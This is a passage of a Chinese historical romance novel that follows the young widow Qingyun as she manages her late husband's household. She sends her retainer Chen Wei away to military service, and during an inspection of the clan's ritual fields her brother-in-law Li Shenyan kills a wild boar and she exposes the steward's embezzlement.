建帝种种举动,宾客无不为之动容,大长公主直接落泪。跪在旁侧的清蕴却一直平静敛目,李审言面无表情,特意站在远处的李琪瑛则是忍不住目中怒火,几度恨恨望去,又怕被人瞧见,硬逼着自己垂下脑袋。 齐国公再次注意到了她的举动。 短暂休憩时,齐国公派人请来李琪瑛,认真端详这个久未见面的“女儿”。 李琪瑛双目红肿,被看久了,不自觉开始躲避,“爹为什么这样看我?” “你做了什么羞愧之事?” 突如其来的问话惊得李琪瑛心脏骤停,结结巴巴,“什、什么?” “灵堂上,为何总对你大哥灵位和你嫂嫂面露惭愧?”齐国公沉声,“今日陛下来此,又为何对他怒目而视?” 李琪瑛被父亲突然又沉又厉的声音吓住,面对他隐带凶光的双目,第一反应竟是转身就跑。 齐国公如何不了解她,稍微抬手就拉住她一臂,“还是说,你想让你娘来问你?” 父母对比,李琪瑛更怕的自然还是母亲。 在齐国公拿出拷问的架势后,她簌簌流着眼泪,哭着断断续续说出了宫中那件事。 随后就是不停说对不起。 齐国公听罢,紧握住椅背,狠狠闭上眼,再睁开时,已是一片赤红。 第54章 不想再找个知心人吗? 统兵多年, 齐国公早就不是战场上冒进贪功的毛头小子。越恨皇帝,他越不可能持刀冲进皇宫。 在院子里练了半个时辰枪法,再回屋沐浴。 除了满院残树断枝,谁也不知他心情的剧烈起伏。 待长子入土为安, 又耐心等了三个月, 他才在某日唤来陈危。 论个头身形, 十八岁的陈危已经丝毫不比那些高大健硕的武将差。不仅领兵有天赋, 心思还少,给了指令就能一心一意朝着目标走。 放到哪儿都是被人争抢的将才。 只一点不好, 不懂为自己筹谋,始终放不下旧主。 以前齐国公觉得没什么,反正陈危旧主也是自家儿媳,现在他另有打算,就忍不住思考如何让陈危真正归于自己。 此刻不急这事, 他对陈危道:“帮我给孟尚书传话, 请他明日午时三刻在旧地一叙。” 陈危:“好。” 齐国公补充,“此行当心,莫被熟人看见, 尤其要避开二公子。” 陈危再次应是。 ………… 齐国公病倒了,据说他在长子病逝后就时常精神恍惚,在某天起榻时突然往后一栽,重重倒了下去。 请大夫看诊, 说是忧思过重, 兼之邪寒入体, 得的是急症, 稍有不慎就可能危及性命。 建帝大手一挥,给他放了长假, 但没同意他离京休养的请求,拨了几位太医,时常来国公府诊脉。 清蕴作为儿媳,既不能失了孝心,也不好在病榻前侍奉,就隔几天到齐国公院子外来请安,关心公爹身体状况。 齐国公告假五六日后,李审言才得空重新回府。 他撞见下人在搬东西出门,定睛一看,上前问:“这要搬去哪?” 国公府很少有人敢直接和他说话,下人们对视一眼,小心回:“这是世子夫人院子里的,说是不要了,让小的们处置。” 李审言皱眉,他当然知道是月舍的,还不知看过多少次那两人在葡萄架下窃窃私语。当时情形,闭目就能浮现在脑海。 他想知道的是为何要丢。 怕触景伤情?还是想和过去了断? 神色莫测地盯了会儿葡萄架,他开口:“搬去我那儿。” 下人们露出震惊之色。 李审言眼神随意一瞥,他们连忙说好,搬着葡萄架又随他到回光堂。 回光堂布局和月舍大不同,有院子,但也仅供葡萄架落脚。 阿宽纳闷地瞅着这极其突兀的架子,主子想自个儿种葡萄吃了? 他没敢提异议,环视一圈,最终把架子放在西侧,占了一段无关紧要的路,屋里开窗就能瞧见。 李审言没急着去看望病中的父亲,先进屋洗漱。 净房备了大木桶,足够他坐在里面舒舒服服地泡,李审言不习惯,从来都是另外拎小桶冲澡。 无视手臂、腰间仍未愈合的伤口,他痛痛快快地把全身冲了遍,脚底流淌的水逐渐染成粉红。 这些是今日和人比武留下的伤。 本来是侍卫们轮换着互搏,建帝看得不过瘾,提出要看多对一。他指名要单挑十个的人正是李审言的手下,名为吴山,长得也和小山一般,大概是因此,建帝就点了他上场。 吴山对三四人还行,对上十人就是找死,李审言便主动请缨。打斗了一段时间,感觉建帝看得差不多尽兴时,就示意旁人在自己身上留点血口,再终止比武。 半刻钟后,李审言阔步穿过蒸腾的水雾,仅着中裤出净房,露出精壮健硕的上身,几道伤口边缘被水洗得泛白,腰腹间层叠的肌理随着呼吸微颤,恰似被朔风雕琢的沙丘,每一道沟壑都凝着淬炼的力道。 几道水痕滑进中裤系带,在麻布料上洇出暗色痕迹。 阿宽看得呆了下,咽咽口水赶紧递上布巾,不知多少次羡慕公子的体格。要是他也有这么高大强健,隔壁张叔肯定毫不犹豫把香儿许配给自己。 所以他至今没明白,公子为何会拒绝太夫人说亲的提议,通房也不要,有个香香软软的美人暖被窝难道不舒服么? “拿金疮药来。” 阿宽取来金疮药,上药时随口搭话,“二爷又在武场伤着了吧。” 李审言嗯一声。 阿宽:“爷总不爱穿护甲,伤的次数也比别人多,多吃亏啊。” 李审言满不在意笑了下。 阿宽瞄他脸色,觉得还行,大着胆子道:“昨儿太夫人的姨侄女那儿又派人来了,太夫人说,让您抽空挑一天去陪她吃个饭。” “没空。”李审言闭上眼。 早在半年前,太夫人就很积极地在给孙子说亲了。李审言看着对她孝顺听话,涉及到亲事,总能找借口溜得不见人影。 如今李秉真去世,不管兄弟俩实际关系如何,明面上,李审言都得服丧一年,更有理由拒绝这些事。 太夫人却总想让他多看些人。 阿宽还想劝,李审言打断他,“最近那边可有找过你?” “哪、哪边?” “月舍。” 阿宽恍然,随即低头,“世子夫人近几个月……您也知道,怎么有心理会这些,最近府里的事都是周管家做主。” 李审言当然清楚,只是顺口问一嘴。 他也没法解释自己为何会总对月舍多关注几分,以前还能说是因为李秉真,现在呢? 李审言没有思考太深,当是习惯使然。 上过药,披上衣裳,他就准备去探望父亲了。 还没到那边,先瞧见在廊下并行的大长公主和清蕴。 李审言下意识走到暗处。 大长公主是来问清蕴是否要搬去隔壁同住的,给出的理由是李秉真不在,她只身住在这儿恐有不便。 这话多少有几分试探的意思,清蕴知道,大长公主更想问自己今后的打算。 她敛眸,“国公府足够大,府里又有这么多下人,还有祖母在,并不会影响什么。母亲,实不相瞒,我如今只想待在月舍,这儿才是我和世子的家。” 大长公主:“那……以后呢?” 她看着今岁才十八的儿媳,宛如鲜嫩水灵的小葱。即便按礼法安安心心守孝三年,也不过二十一岁,能甘于一直寡居在此吗? 别说清蕴生得漂亮,就算没有这样的美貌,凭王家势力,再给她找个出身样貌都不差的夫君也不是难事。 大长公主知道儿子多喜爱清蕴,肯定不希望清蕴成为他人妇。可她也知道,对于这么年轻的儿媳来说,强求她为儿子守寡极为残忍。 清蕴:“明日是以后,明年也是,一日一日得过,都差不多。” 大长公主握住清蕴的手,她并不想儿媳说出这样充满死志的话,“你还年轻,就不想再找个知心人吗?” 清蕴淡笑了下。 如果清蕴流露出一丝动心,大长公主会暗自不喜,可她表现得对未来毫无渴求,大长公主就怜惜了。 “少思曾和我说,他经常和你一起论书,有时你还会帮他一起修书,是不是?” 清蕴:“……嗯?” “我在外办了一间织经堂,堂内都是些和你一样有才华的女子,她们如今正在合力编纂《列女传注疏》,你可有兴趣?” 清蕴不明所以。 大长公主:“你虽不便时常出门,但由我带着去织经堂,别人看见也不会多说什么。月舍再好,总待着也会乏闷,有时候还是需要出去走走。” 触景伤情。大长公主对这词深有体会。 她又劝说几句,清蕴犹豫着应了下来。 婆媳俩谈话就此结束,清蕴送她去两府间的小门。 大长公主此行是为试探清蕴的想法,谈话间一直仔细揣摩她的语气、神态,却没想过,这本就是清蕴做出来给她看的模样。 李秉真离世,清蕴当然伤心,可伤心有限度,短暂的迷茫也总会走出来,她不会一直沉浸在过去的情绪当中。不过在大长公主这个极其爱子的母亲面前,自然不能表现得太过寻常。 她没拿出那封放妻书,而是把木盒严严实实压在了箱底,如无意外,应该都不会再拿出来。 既然不想回到王家另觅夫婿,清蕴就要好好想想,接下来该做什么。 论钱财,她现在拥有的,已经足够此生高枕无忧。 但她总有危机意识,万一京城的生意做不下去了呢?万一齐国公突然被降罪了呢?万一又有战乱呢?她觉得,相较于那些寻常的买卖,自己要学习其他权贵府邸,拓宽生路。 作为女子,她无法当官,还是要先借势谋财,再以财生势。 彭掌柜有消息渠道,说是浙江那边筑堤缺银,地方官员想到前朝势力,想通过“捐输筑堤”换取数年漕运专权的法子来吸引富商。 倘若此法上报后得到同意,必然引来大量竞争。 在这件事中,大长公主正好插得上手。 所以她需要徐徐图之。 她缓慢行走的背影落在李审言眼中,瘦削纤细,穿着入夏后的衣衫,轻薄得像一张纸。 李审言抱胸斜倚房梁。 他隐约听到了一些对话,她们聊的所有内容不得而知,但能够明确的是,大长公主希望她为李秉真守寡终生。 她聪明不假,可大长公主强行要求,又如何能反抗? 即便是王家,恐怕也不会为她做主。 他转头到了齐国公房内。 齐国公正在睡,半个身子掩在被中,挡不住瘦了许多后高高耸起的颧骨。 同为武将,李审言更能清晰感受到他的憔悴,暗暗心惊,这是真的病了。 其实在他盯梢齐国公这么久,都只上报了些不痛不痒的消息时,建帝后面就很少让他盯着齐国公了。这次突然下令,叫他看看齐国公是否当真病了。 建帝没有全信太医所言,要求李审言手绘人像给他看。 李审言绘画功夫实在一般,本来打算记详细点,回头找个画师,陡然看到齐国公模样,觉得画几根木棍也差不多了。 不能说话,他坐了会儿就准备离开。 “允勖。”衣袖突然被扯住。 允勖是他及冠时齐国公给他取的字,不过齐国公很少唤,他也没什么告诉别人的机会,毕竟连来往的朋友都没有。 李审言回头。 齐国公慢慢坐了起来,“帮我倒杯水。” 被使唤的人走到四方桌前,倒了杯凉透的茶水。 齐国公也不介意,边咳边喝完,鼻子还很敏锐地嗅到了血腥味,“又受伤了?” 抬抬眼,李审言不置可否。 “武将受伤确实是家常便饭,我以前领兵作战时,也常常如此。那会儿年轻气盛,对此不以为然,总觉得小伤不必治,重伤治不了,甚至以疤痕为荣。”齐国公笑了笑,“不过,那些也确实是荣耀。” 他看向李审言手背的伤痕,“你这些是怎么来的?” 李审言心底有些烦躁,不愿搭话,“老头,你到底想说什么?” 齐国公意味深长地看他,直到李审言即将转身离去,才轻轻开口。 “允勖,你是人,不是笼中的兽。” 第55章 占了个嫂嫂的名头 李审言在齐国公这儿待了大约一炷香的时辰, 当他走出门时,下人们只注意到二公子和以往别无二致的懒散神情。 紧接着,齐国公让亲随去请儿媳清蕴。为避免她不自在,他起身坐到外屋接待。 清蕴待的时间更短, 还不到一刻钟。 回月舍后, 她静思良久, 让藉香唤来陈危。 趁等人的间隙, 她就坐在院子里一本本理书。 书本摞到半人高时,陈危出现, 瞧见摇摇欲坠的书山,健步上前扶住,低声道:“主子要搬去哪儿?” 清蕴给他指了个位置。 那是月舍未用过的一间厢房,清蕴准备将李秉真的所有物件,书、字、画、四季衣衫等都放在那儿。想看时, 随时都能去。 陈危轻松搬起书山, 有他在,清蕴确实用不上其他人了。 自从白兰一事后,俩人许久没有这样见面过, 要么是清蕴让人吩咐他办事,要么是陈危得假,远远地候在月舍外。 搬了几趟,陈危再次立在清蕴身前, 桌上多了杯为他准备的茶水。 “坐。” 陈危犹豫了下, “属下不用坐。” 即便是在外面的院子里, 他和主子同座, 被人看见也不好。 清蕴抬眼,又说了一次“坐”。 陈危挨着半边石椅坐下。 即便坐下, 他也显得比清蕴高很多,只是头颅微低,神色顺从,像只忠诚老实的大狗,主人永远不必担心会被他的力量反噬。 清蕴注意到他额角极淡的疤痕,他果然没有用药。 “听说公爷让先生教你习兵书,已经学到了《武备志》?” “昨天刚到火器篇。” “喜欢吗?” 陈危:“属下只是奉主子命令,听从公爷行事。” 清蕴:“不要和我绕圈子,说实话。” 陈危沉默。 对他来说,沉默几乎就等同于默认。 “公爷想把你举荐到彭将军手底下做事。” 蝉蜕从枝头飘落,正跌进陈危的茶盏。他盯着水面浮沉的半透明空壳,听见清蕴说:"彭将军下月开拔蓟州。" 陈危衣衫下的肌肉瞬间绷紧。 "主子"他终于抬眼,目光却停在清蕴发间木樨簪——那是他曾冒雨从崖壁采来的。 清蕴:“我已同意了。” 陈危脑袋嗡了下,原来不是询问他的意见,是直接帮他做决定? “陈管家那儿,我会派人照顾好,也会去看他,不必担心。” 陈危猛地看她,主子不要他了? 清蕴平静地避开了他的眼神。 固然,她对陈危有种占有欲,希望他能够永远独属自己。可上次的失控更让她发现,如果她克服不了这个弱点,那她永远都走不出那座悬崖。 陈危是她通向安稳的桥,她不能永远待在桥上,也不能让他永远只当一架桥。 因此,在听到公爹言辞恳切的劝说时,她知道如果没有足够正大光明的理由,自己一再留下陈危,只会让两人受到怀疑。 清蕴没有给出解释,也没有安慰,交待完一些话就让人离开。 很难形容陈危此刻的感受。 他想到了很多,还想起了当初二人进京途中对着医书找到一株药草后分食的情形。他本来不想吃,是主子强硬得不许他拒绝。 脚步迈出月舍,陈危忽然看见一道刚避开的身影,眼睛微厉,立刻追上前。 是白兰。 她手中还拿着白瓷瓶,像要去选花,但陈危不会怀疑自己的眼力,刚才她绝对是窥视后快速离开。 高大身影突然横在眼前,惊得白兰心怦怦直跳,稳住手,“陈危……?许久没见你了。” “你方才在做什么?” 白兰若无其事地扬起笑容,“本要问夫人摆什么样的清供,摘些花行不行,想想又觉得花儿太艳,这时候不合适。你和主子不是在说事么,我就没打搅,怎么这么快就出来了?” 陈危拧眉。 白兰的理由无懈可击,陈危缺少辩才,也不准备和她辩。确定了这人是白兰,不管她有什么原因,他都会如实告诉主子。 两人走到一块儿,白兰自然而然搭话,“你这半年都不怎么来月舍,是已经转投国公手下了吗?” 陈危不作声。 “难道是因我托夫人问过的那事?”白兰胆子还是大的,能够直接把当初的事毫不避忌地说出口,“如果是因这,那实在没必要,我早就放下了。夫人器重你,许多事都离不开你,要是因此让你们离心了,我心中有愧。” “主子有事吩咐,我就来。”陈危打断她,也没听出话里的试探,“仅此而已。” 白兰咬唇,看他大步流星而去。她没说谎,方才确实要去问夫人清供的事,只是在看见她和陈危在院中谈话时,下意识选择了暗中观察。 她想知道,陈危和夫人单独相处时,到底是什么模样。 不知夫人说了什么,陈危虽然极力表现得自然,但仍叫白兰看出了丝丝失落。 她若有所思,难道挨骂了? 这厢,陈危转头把事情告诉了藉香。 藉香和白兰不算熟,真正和清蕴两个女使来往频繁的是擅长交际的藏翠。藏翠如今不在月舍做事,去了国公身边,藉香耿直,不会想到提前问白兰。 他寻了个时机私下报给清蕴,她听罢点点头,走到门前。 白兰就在外面打理花草,落落大方地和洒扫的婆子说话,清秀脸庞溢满笑容,很讨喜。 她为人处事很有一套,某种程度上与清蕴颇为相似,适合对外交际,也适合打听一些琐事。但她有个致命缺点,好奇心太重,没有得到吩咐的事,也常常要探究答案。 这也是清蕴遇要事不会找她的原因。 想到半年前街上遇见姜玲后,白兰对白芷有意无意的打听,清蕴决定找个机会试试白兰。 倘若她依然不改,就不能再用。 ** 入伏后,清蕴着手准备察看祭田一事。 祭田是大约十来年前,李家人同齐国公商议后共同置办,聘了专人管理,每隔一段时间就要派人去巡视察看,这次轮到国公府。 清明节后就该去了,那会儿李秉真刚病逝,府里没心思处理此事,现在齐国公缠绵病榻,无瑕前去。清蕴听说后,就主动接了过来。 按礼需有男丁陪同,国公府毫无疑问只剩下李审言。 于是挑了他休沐的时候,清蕴带上周管家、白芷、藉香出发了。 清蕴和白芷同坐马车,李审言骑马,藉香带着阿宽,准备得差不多时,众人一看周管家牵了头慢悠悠的骡子出门,都笑起来。 清蕴:“要不再备一辆马车?” 周管家笑说:“夫人别小看这骡子,虽然不能跟上疾驰的马儿,但今日咱们出城去祭田那边,它未必跟不上,还平稳许多。我年纪大了,坐马车闷得慌,容易头晕。马儿又太颠簸,这骡子正适合。” 理由给得如此充分,清蕴没再提异议。其实要不是于礼不合,她也对骑骡心动,那会儿去天穹山,一路上都是靠药睡过去,现在路程太短,不适合。 隐隐晕眩了一路,下马车时,清蕴抓紧了白芷手臂。 祭田附近山清水秀,往西边走便是灵山,也是李秉真等李氏族人的埋骨之地。 屯长夏洋迎上前,在周管家引荐下,见过清蕴和李审言。 他自然而然以为李审言为话事人,想向这位二爷搭话,却见李审言抬脚往后一挪,站到了后方。 周管家:“同夫人介绍一下祭田吧。” 夏洋明白了,做主的是世子夫人,见清蕴素服加身,弱柳扶风的模样,眼睛转了圈,将手下掌管祭田的亩数、佃户、缴粮数目等一一道来。 记住几个关键数字,清蕴道:“账册呢?” 夏洋:“账册在屋舍,夫人不如同去,坐会儿喝杯茶,休息片刻。” 白芷领会清蕴意思,道:“不必,我们就在这树下等着,再待会儿天就热了,不好在田间走动。” 夏洋说是,跑去取账册。 夏洋抱来的账册裹着层薄灰,手指抹过便是一道黄印。清蕴展开泛黄的宣纸,墨迹在日光下显出深浅不一的斑驳。 “景德十三年春,祭田四顷八十六亩”她指尖顺着田垄往西划,忽然停在某处,“夏屯长,这处田埂去年重修过?” “夫人好眼力。”夏洋解释,“去年山洪冲垮了五丈,按老法子用芦苇夯土,瞧着是不如青石齐整。” “听闻灵山南坡的土能攥出油,亩产比寻常多三成?” 夏洋忙摆手,“这都是谣传,顶多多一成,小的在这儿待了好些年,能不清楚么。” 清蕴颔首,“带我们去走走吧。” 夏洋瞧了眼杵在她身后高大的藉香,再看看满脸写着不好惹的二爷李审言,先前想好的话都咽下,带一行人去巡田。 半上午的时候,田间该干的活儿都差不多了,多是佃户家的孩子在嬉戏,几个举着枸杞芽的孩童追着竹球跑来。 清蕴边走边和夏洋说话,速度慢得很。李审言不耐烦慢吞吞地挪动,随意叼着根狗尾草往田埂上一坐。被薄汗打湿的发丝贴在颈侧,倒显出几分少年人才有的轻狂。 看见这群孩子,他倏地翻身跃起,从怀里摸出油纸包往空中一抛:“接着!” 金灿灿的松子糖在空中划出弧线,惊得孩子们尖笑着散开去捡。 夏洋哈哈笑,“二爷真是孩子王啊。” 李审言闻言瞥他一眼,不经意地带过清蕴,却见她神色平静,根本没把这小小的打闹看在眼里,似乎在专心巡田。 分明比他小那么多,占了个嫂嫂的名头,行事便仿佛真的沉稳许多。 他敛眸,那点小小的快意瞬间没了。 第56章 客气有礼,亦生疏 祭田近五顷, 按布局地形来说,沿边缘走一圈慢些需要近一个时辰,快些半个时辰。清蕴巡得仔细,需要的时间更久。 日头愈烈, 白芷取出一把遮阳伞, 伞布由深色绸缎制成, 足够遮盖两人, 浓浓的阴影投下,让夏洋瞟了好几眼。 本来预计走个一刻钟, 随便看几十亩就收手,没想到看起来脸嫩的世子夫人不仅眼力足,耐心也是一等一得好,接连十几个问题下来,问得他汗水直流。 本来么, 大家族享田产几千上万亩的都有, 祭田在其中所占微乎其微,平日收粮也不靠这些。他管理田产多年,深谙其道, 清楚如何能够获利的同时又不招致注意。 可哪种方法也经不住这样查。 “都到晌午了,日头毒得很,余下的田都在山腰上,要不就看到这儿?” 依然是白芷代答, “不必, 都已经走到这儿了, 回去也有一程子路, 直接看完吧。” 夏洋随手抹了把汗,应声把众人带上山路。 山路要崎岖得多, 前几天才下过一场雨,隔段路就有尚未干涸的水坑,道路泥泞难行。 不多时,清蕴的鞋就沾了厚厚一层泥底,白芷担忧地低问:“主子,要不我背您吧。” “不用,你背我也会陷得更深,两人都不好走。” 然而这种路并非靠坚持就能走完,当泥底比鞋底还厚时,每次抬脚都要耗费极大的力气。 考虑到这点,清蕴看了眼来时路,这时候回去应该还能走,但…… 藉香默默上前,把手臂递来。 李审言瞟了眼他,对这个以往总是忠心耿耿跟在李秉真身边的护卫有印象。以前在府里,这护卫是连大长公主和齐国公都敢拦的人,看来李秉真当真是把能留的都留给她了。 正是这漫不经心观察的时候,李审言忽然注意到,旁边山林中忽然有丝不寻常的动静,身体比脑袋反应更快,直接上前把夏洋踢到了一边。 随着夏洋惨叫响起,一道黑影破开浓密的枝叶,直冲一头他刚才所在。若非李审言踹得快,只怕他肚子都要被野猪的长牙刺穿。 夏洋既痛又惊,这儿怎么会有野猪? 他下意识想跑,慌乱中转了几个位置都没找到快速下山的小道。 “主子小心——”白芷下意识挡在清蕴身前,野猪的威力有时候不亚于虎熊。藉香守在右侧,也在掂量野猪的体型。 如果此时有弓箭,对付野猪就要方便许多。光靠持刀肉搏,恐怕少不了受伤。 藉香刚做好冲上前的准备,一道青影从斜刺里闪出。李审言不知何时已经跃到野猪身前,右手一扬,袖中飞出一道银光,刀刃精准地刺入野猪右眼,却未能阻止它的冲势。 李审言不退反进,左手扣住野猪上颌,借着它前冲的力道,一个翻身跃上猪背。野猪吃痛,疯狂地甩动身躯,想要将他甩下来,却被一双劲瘦有力的腿紧紧夹住。 右手握住插在猪眼中的短刃,李审言猛地一拧,野猪发出凄厉嚎叫,重重跪倒在地。他则趁机落地,短刃拔出,带出一串血珠。 整个过程不过几个呼吸的时间,看得夏洋腿肚子发软,怕野猪,更怕李审言。 杀了野猪,李审言喘息不可避免地加重许多。本来他不必以身试险,这儿没有皇帝要看表演,大可以联合藉香对野猪进行围杀。 但这么小的地方,野猪又喜欢横冲直撞,若不快速制服,不会武的几人极有可能受伤。 他随手抬袖抹了把脸,余光瞟向后方,只见清蕴微微泛白的脸很快恢复镇定,甚至很快看向了夏洋,“夏屯长,这儿经常会有野猪?它们不会践踏田地?” 夏洋结结巴巴,“这个……” 清蕴紧接道:“方才你连跑都找不到方向,当真对这条路熟吗?” 夏洋更是汗如雨下。 李审言:“……” 他忽而笑了下。 真不愧是她,危急万分的时刻,仍没有忘记来意,还能分心去注意别人。 着实令人服气。 夏洋明白世子夫人的意思。 他只是个管理祭田的小小屯长,偷摸从中吞点缴粮、卖几亩地就顶天了,哪有胆子去明着违逆甚至是谋害国公府的主子。刚才一看到野猪,他脑海中就出现“我命休矣”这几个字,不只怕自己受伤,也怕这几位被伤。 更何况…… 夏洋偷偷瞄衣衫染血的李审言。 这哪是二爷,分明就是头煞神,下手也太狠辣了。 “夫人。”夏洋道,“这儿危险,咱们先回去吧。等到了地儿,夫人想知道的,小人全都老老实实交代。” 清蕴看他,“我此来并非是故意与夏屯长为难,水至清则无鱼,世间任何账目都不可能一清二白,这道理我懂。但我更不喜欢被人敷衍糊弄,你明白吗?” 夏洋如何不明白,对世子夫人的本事也服气,老老实实道:“是,小人再不敢自作聪明了。” ** 下山的路比来时难走些,李审言走在最后,右手随意地搭在腰间的短刃上,左手却始终垂在身侧。 清蕴注意到他左手的衣袖有一处不自然的褶皱,深青色的布料上洇出一小块暗色。 “二叔的手”她忽然停下脚步,转身看向李审言。 李审言满不在意,“蹭破点皮罢了。” 清蕴的目光在他脸上停留片刻,又转向夏洋:"夏屯长,你说过,剩下的账册都在山下庄子里?" “是、是” “那便去庄子里歇歇脚。”清蕴说着,目光似有若无地扫过李审言的左手,“正好把今日查到的账目核对一番,二叔也一起来吧,有些数目还要请你过目。” 李审言微微一怔。 他不会看账。 但表面还是若无其事地应了下来。 庄子里的厢房收拾得还算干净,李审言先去洗手了,清蕴坐在案前翻看账册。 他回来时,自觉地坐在下首,左手始终垂在身侧,随后对账册翻了半天,还是停留在前几页。 清蕴忽然开口,“这处数目似乎不对。” 李审言起身走到案前,俯身去看她指的地方。 清蕴却把账册往旁边挪了挪,露出案几一角——那里放着一瓶伤药和一卷干净的布条。 李审言目光在那两样东西上顿了顿,还是抬手取了过来。 “多谢。”二十四年来,他说出这两字的次数屈指可数。 清蕴没有抬头,继续翻看账册,“二叔客气了,今日巡田遇险之时多亏有你。” 温和的语气,一如她对所有外人,客气有礼,亦生疏。 第57章 他并不讨厌这种被使唤的感觉 蝉鸣声里, 李审言将短刃浸入铜盆。血色在清水中晕开,倒映出他蹙起的眉峰,左手伤口比想象中深些。 “二爷可要请郎中看看?”阿宽捧着药盘进来。 “不必。”李审言甩去刀尖水珠。 习惯了这位主子对身体受伤的不在意,阿宽没再劝, 跪坐上前, 扯开布条, 浓郁的血腥味扑面而来。 仔细看, 伤口倒是愈合了一半,估摸是之前流了太多, 把布条浸得满是血气。 熟练地撒药、包扎,阿宽把新布条缠了一圈又一圈,不抱希望地劝,“二爷要不告假一段时间吧,文官伤了左手还能写字, 您天天舞刀动枪的, 可得好好休养。” 出乎意料,这话说出去竟得了声嗯。阿宽起初没反应过来,而后意识到主子说了什么, 顿时高兴得喜笑颜开。 并非他有多体贴,而是太夫人隔几天就得找他过问回光堂情况。主子不爱惜身体,太夫人舍不得责怪,能训的只有他了。 处理过伤口, 阿宽自觉退出去。李审言对着提握无法自如的左手皱皱眉, 到底没动手拆掉, 起身坐到窗前。 葡萄架上重新攀了藤, 现在已经发芽,绿油油一片, 给单调的回光堂添了抹色彩。 阿宽平日里悠闲,没事就去侍弄它,这会子又开始殷勤地浇水,李审言别开视线,转到屋里几乎空荡荡的书架。 他不爱看书,除去史书、兵书,其他的一律不感兴趣。幼时开蒙也晚,等到九岁了,齐国公偶然和他交谈间,才惊觉小儿子竟还不识几个字。 好歹出身公爵府,像寻常村头孩童一样大字不识像什么话。因此齐国公避开大长公主,自己出束脩为李审言请了先生。 先生算不上什么大家,只是个考进士多次而不中的老举人,的确有些学问,文人气十足,颇瞧不上李审言,直言他平时的耍刀弄枪是粗鄙之举。 老举人撞见过为世子李秉真授课的先生,正是他极为敬佩的儒学大家,讨教了几回,私底下多次感慨李秉真的天纵之资,言语间对李审言更加打压。 李审言什么性子,有仇必报,旁人骂他一句都要报复回去。起初是觉得这老东西确实能教自己些东西,忍下了。待字认得差不多,老举人开始整日扯他不感兴趣的诗词歌赋和应试文章,便不再忍,某日趁着齐国公不在,故意在老举人进门时练枪,“失手”脱枪,正正沿着老举人的耳侧擦过,惊得对方流了满头汗。 如此几回,且“不小心”真伤了对方一回后,老举人就不肯再来了。齐国公又重新请了几个先生,李审言发现这些人要么是只有半桶子水,要么喜欢在自己面前摆出孤高清傲的架子,就如法炮制都吓走了。 齐国公拿他没办法,只得亲自上手,在有空时教他学习和练武。大部分时间,李审言还是凭自己去挑感兴趣的书看。 《武经总要》是他第一本感兴趣的书,也是唯一一本收藏至今的书。其他的,如作诗、写文章之流的就没怎么接触过,更别提下棋作画看账这些。 这也是建帝内心瞧不上李审言的原因之一。 李审言从不觉得这有什么,但就在此时此刻,他记得在庄子里陆清蕴低首看账册的模样,又想起她和李秉真时常对弈、读书的场景,鬼使神差地从积灰的书架中找了本书。 封皮写着《博笑珠玑》几字,不知何时摆上去的,李审言皱眉翻开。 一盏茶后,他坐姿由笔挺变为懒懒靠椅。 两盏茶后,书只翻了五六页,他眼神微微放空。 小半个时辰过去,李审言腾得起身,用完好无损的右手拿起刀,到屋外痛痛快快地练了一场。 …… 回府后,清蕴先把查到的账目和夏洋交待的事实做了遍整理。 侵吞部分屯粮和擅自加租都是小事,重点是夏洋作为屯长,和部门佃户联合起来开垦荒地,却隐瞒了这部分田地,将其据为己有。 不仅如此,还私自倒卖祭田,致使部分祭田变为民田。 这些事并非一日发生,清蕴不知以前李氏族人去巡田时有无发现,因此斟酌一番,她先去见了齐国公。 齐国公这次在书房见她,先注意到儿媳白到几乎没什么血色的脸,“这次巡田遇险,受惊了吧?” 清蕴:“还好,二叔及时出手,那只野猪都没碰着我们。” “他也就这点用处了。”齐国公拿过她递来的一叠纸,上面不仅陈述了此次所见所查,还给出了对策建议,并让他查清其他李家人是否知情或参与,如果有这种情况,应对方法还要有变。 翻了几页,他就知道儿媳的用心和认真,也愈发认识到,当初长子为何总说她聪慧。 心思缜密细腻,处事还周到,拘泥于后宅,真是屈才了。 齐国公把纸放到一边,“好,这事多亏了你。” 清蕴犹豫了下,“儿媳其实还有一事相求。” “嗯?” “儿媳想每月出府两次,处理一些生意上的事。父亲放心,我会戴上帷帽,随行也会带护卫和女使。” 按礼法来说,女子为夫守孝的年限是三年。守孝期间需着素服,不得饮酒、享乐、赴宴,无事也不该频繁出门。 齐国公知道她是担心太夫人会不高兴,没作犹豫就点头,“注意安危就好,祖母那儿由我去说。” 又道:“若是……想出门散心,带上足够护卫,不去太远就行。” “谢谢父亲,我手中还有许多事做,无需散心。” 人在忙碌时会放下许多情绪,齐国公理解。正如他刚和离那段时间,也是一心扑在庶务中。 以前他想对长子好,可李秉真身体太脆弱,父子俩既没有共同的事可做,也无话可聊,总觉得隔着一层。和清蕴成婚后,他才感觉儿子有了转变。 可惜时间太短。 如今长子没了,齐国公对他的感情有一半倾注到了儿媳身上,也愿意对她纵容些。 “规矩是死的,你对少思的心意我们都明白,不会因你多出一次门而变。”齐国公低声,“平时无事,也可以多去大长公主府,不让你祖母知道就行。” 清蕴微怔,有些意外齐国公能说出这番话。 公爹向来不擅长表露心迹,对家人尤甚。即便是在李秉真离世前的最后几个月,他的表现也很内敛,除去安慰大长公主,很少有人能看到他失态。 清蕴又道一声感谢。 齐国公的笑容转瞬即逝,在清蕴即将离开前,还叫来打理国公府生意的魏管家,对她道,今后她若有有兴趣,家里的生意也由她来管。 清蕴思索一番,应了下来。 说完这些不知不觉过了大半个时辰,清蕴走出书房时,发现竟已过了平时午饭的点。 白芷迎来,轻声道:“厨房那边留了饭菜,主子现在用吗?” 清蕴:“算了,没什么胃口,喝碗鸡蛋羹吧。” 白芷看着她细到一只手就能圈住的手腕默然,主子这段时间比刚嫁来国公府还要忙,简直把能做的事都做了起来。 寻常人丧夫守寡,也许伤心好几个月甚至数年都走不出来,主子就用了这种排解的方法。 “王家又着人送了口信。”白芷道,“请主子得空,去王家走一趟。” “以后再说吧。” 这就是没打算去的意思。 清蕴知道外祖母秦夫人的想法,一则想安慰她,一则想劝她多为以后打算。 但她很习惯目前的生活,没有改变的想法。 说句算得上不孝的话,若非必要,其实她在成婚后都是能少见王家人便少见。他们有需要,她能帮忙便会帮,除此之外,就当自己已经远嫁。 秦夫人膝下儿孙有许多,时间长了,总不会太过惦记她。 慢慢用了碗蛋羹,清蕴望着花草愈发繁盛的院子,忽然道:“白兰。” 白兰应声。 “你可还记得,那天在素织遇见的姜夫人?” 白兰似乎仔细回想了下,谨慎回,“是有些印象。” “过几天我准备出门,你帮我备件合适的礼,到时候我去姜夫人家中拜访。” 白兰:“那位夫人不过是认错了人才缠着主子不放,当真要去吗?” 